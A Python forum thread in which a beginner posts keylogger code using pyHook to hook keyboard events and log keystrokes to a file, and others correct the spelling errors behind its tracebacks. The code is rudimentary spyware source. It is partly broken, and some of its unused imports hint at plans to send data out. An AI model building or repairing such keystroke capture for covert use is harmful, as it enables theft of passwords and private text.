Python Forum

So, im trying to make a Keylogger in python but i always get the same error. I have watched different youtube videos on how to make a keylogger, and i have tried some of the different methods. but i get this one error.

This is how im writing the keylogger:

import pyHook, pythoncom, sys, logging

file_log = 'C\\important\\log.txt'

def OnKeyBoardEvent(event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='§(message)s')
    chr(event.Ascii)
    logging.log/10,chr(event.Ascii)
    return True


hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyBoardEvent
hooks_manager.HookKeyBoard()
pythoncom.PumpMessages()

And here is the error im getting:

Error:
Traceback (most recent call last):
  File "C:/Users/Henrik/Desktop/lal.pyw", line 13, in <module>
    hooks_manager.HookKeyBoard()
AttributeError: 'HookManager' object has no attribute 'HookKeyBoard'

Im pretty new to programming, so i dont know much about it. But i wanted to try and make a Keylogger as my first project.

hooks_manager.HookKeyBoard()

Should be

hooks_manager.HookKeyboard()

Writing:

import pyHook, pythoncom, os, httplib, urllib, getpass, shutil, sys
def OnKeyBordEvent(event):
    print event.Ascii
hook_manager = pyHook.HookManager ()
hook.manager.KeyDown = OnKeyBoardEvent
hook_manager.HookKeyboard()
pythoncom.PumpMessages()

Error:
Traceback (most recent call last):
  File "C:/Users/Henrik/Desktop/KeyLogger.py", line 5, in <module>
    hook.manager.KeyDown = OnKeyBoardEvent
NameError: name 'OnKeyBoardEvent' is not defined

Thanks!

Check your spelling.

>>> 'OnKeyBordEvent' == 'OnKeyBoardEvent'
False

def OnKeyBoardEvent(event):
    print event.Ascii
hook_manager = pyHook.HookManager ()
hook.manager.KeyDown = OnKeyBoardEvent
hook_manager.HookKeyboard()
pythoncom.PumpMessages()

but i still get this error:

NameError: name 'hook' is not defined

Use code tag.
Now is . that should be _

hook_manager.KeyDown = OnKeyBoardEvent

hook.manager should be hook_manager
